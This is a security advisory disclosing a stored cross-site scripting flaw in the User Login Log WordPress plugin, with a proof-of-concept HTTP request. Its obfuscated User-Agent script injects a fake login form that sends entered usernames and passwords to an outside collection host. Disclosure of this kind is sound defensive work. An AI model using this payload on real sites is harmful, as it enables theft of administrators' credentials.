Source: https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html

Abstract
A stored Cross-Site Scripting vulnerability was found in the User Login Log WordPress Plugin. This issue can be exploited by Subscriber (or higher) and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0011

Tested versions
This issue was successfully tested on User Login Log WordPress Plugin version 2.2.1.

Fix
There is currently no fix available.

Introduction
The User Login Log WordPress Plugin track records of WordPress user login with set of multiple information like ip, date , time, country , city, and user name. A stored Cross-Site Scripting vulnerability was found in the User Login Log WordPress Plugin. This issue can be exploited by Subscriber (or higher) and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details
This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.

function column_default($item, $column_name)
{
   
[...]
   
   switch($column_name){
   
[...]
      
   default:
      return $item[$column_name];
   }
}
Proof of concept:

POST /wp-login.php HTTP/1.1
Host: <target>
User-Agent: XSS<script>document.getElementById(/wpwrap/.toString().substring(1, 7)).innerHTML = String.fromCharCode(60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,99,111,108,111,114,115,45,102,114,101,115,104,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,99,111,108,111,114,115,45,102,114,101,115,104,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,108,111,103,105,110,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,108,111,103,105,110,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,32,60,115,116,121,108,101,62,98,111,100,121,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,104,101,97,100,101,114,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,108,111,103,105,110,102,111,114,109,123,116,101,120,116,45,97,108,105,103,110,58,32,108,101,102,116,59,125,112,32,35,110,97,118,123,116,101,120,116,45,115,104,97,100,111,119,58,32,114,103,98,97,40,50,53,53,44,50,53,53,44,50,53,53,44,49,41,32,48,32,49,112,120,32,48,59,125,46,115,117,98,109,105,116,123,112,97,100,100,105,110,103,58,32,48,59,125,35,98,97,99,107,116,111,98,108,111,103,32,97,123,99,111,108,111,114,58,32,35,99,99,99,59,125,60,47,115,116,121,108,101,62,32,60,100,105,118,32,105,100,61,34,108,111,103,105,110,34,62,60,104,49,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,111,114,100,112,114,101,115,115,46,111,114,103,47,34,32,116,105,116,108,101,61,34,80,111,119,101,114,101,100,32,98,121,32,87,111,114,100,80,114,101,115,115,34,62,84,111,116,97,108,108,121,32,76,101,103,105,116,32,76,111,103,105,110,32,70,111,114,109,60,47,97,62,60,47,104,49,62,32,60,102,111,114,109,32,110,97,109,101,61,34,108,111,103,105,110,102,111,114,109,34,32,105,100,61,34,108,111,103,105,110,102,111,114,109,34,32,97,99,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,115,104,111,97,108,111,97,107,46,109,108,47,99,111,108,108,101,99,116,34,32,109,101,116,104,111,100,61,34,80,79,83,84,34,32,116,97,114,103,101,116,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,112,62,60,108,97,98,101,108,62,85,115,101,114,110,97,109,101,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,116,101,120,116,34,32,110,97,109,101,61,34,117,34,32,105,100,61,34,117,115,101,114,95,108,111,103,105,110,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,49,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,62,60,108,97,98,101,108,62,80,97,115,115,119,111,114,100,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,110,97,109,101,61,34,112,34,32,105,100,61,34,117,115,101,114,95,112,97,115,115,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,50,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,83,101,115,115,105,111,110,32,104,97,115,32,101,120,112,105,114,101,100,44,32,112,108,101,97,115,101,32,108,111,103,32,105,110,60,47,112,62,60,112,32,99,108,97,115,115,61,34,102,111,114,103,101,116,109,101,110,111,116,34,62,60,108,97,98,101,108,62,60,105,110,112,117,116,32,110,97,109,101,61,34,114,101,109,101,109,98,101,114,109,101,34,32,116,121,112,101,61,34,99,104,101,99,107,98,111,120,34,32,105,100,61,34,114,101,109,101,109,98,101,114,109,101,34,32,118,97,108,117,101,61,34,102,111,114,101,118,101,114,34,32,116,97,98,105,110,100,101,120,61,34,57,48,34,47,62,32,82,101,109,101,109,98,101,114,32,77,101,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,99,108,97,115,115,61,34,115,117,98,109,105,116,34,62,60,105,110,112,117,116,32,116,121,112,101,61,34,115,117,98,109,105,116,34,32,110,97,109,101,61,34,119,112,45,115,117,98,109,105,116,34,32,105,100,61,34,119,112,45,115,117,98,109,105,116,34,32,118,97,108,117,101,61,34,76,111,103,32,73,110,34,32,116,97,98,105,110,100,101,120,61,34,49,48,48,34,47,62,60,47,112,62,60,47,102,111,114,109,62,32,60,112,32,105,100,61,34,110,97,118,34,62,60,97,32,104,114,101,102,61,34,46,46,47,119,112,45,108,111,103,105,110,46,112,104,112,63,97,99,116,105,111,110,61,108,111,115,116,112,97,115,115,119,111,114,100,34,32,116,105,116,108,101,61,34,80,97,115,115,119,111,114,100,32,76,111,115,116,32,97,110,100,32,70,111,117,110,100,34,62,76,111,115,116,32,121,111,117,114,32,112,97,115,115,119,111,114,100,63,60,47,97,62,60,47,112,62,60,47,100,105,118,62,60,105,102,114,97,109,101,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,32,110,97,109,101,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,47,105,102,114,97,109,101,62,32,60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,116,114,121,123,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,117,115,101,114,95,108,111,103,105,110,39,41,46,102,111,99,117,115,40,41,59,125,99,97,116,99,104,40,101,41,123,125,60,47,115,99,114,105,112,116,62);document.getElementById(/wpwrap/.toString().substring(1, 7)).id = /login/.toString().substring(1, 5);document.cookie = String.fromCharCode(39,118,105,115,105,116,101,100,61,116,114,117,101,59,112,97,116,104,61,47,59,109,97,120,45,97,103,101,61,39) + 60 * 10;
</script>XSS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded
   
log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1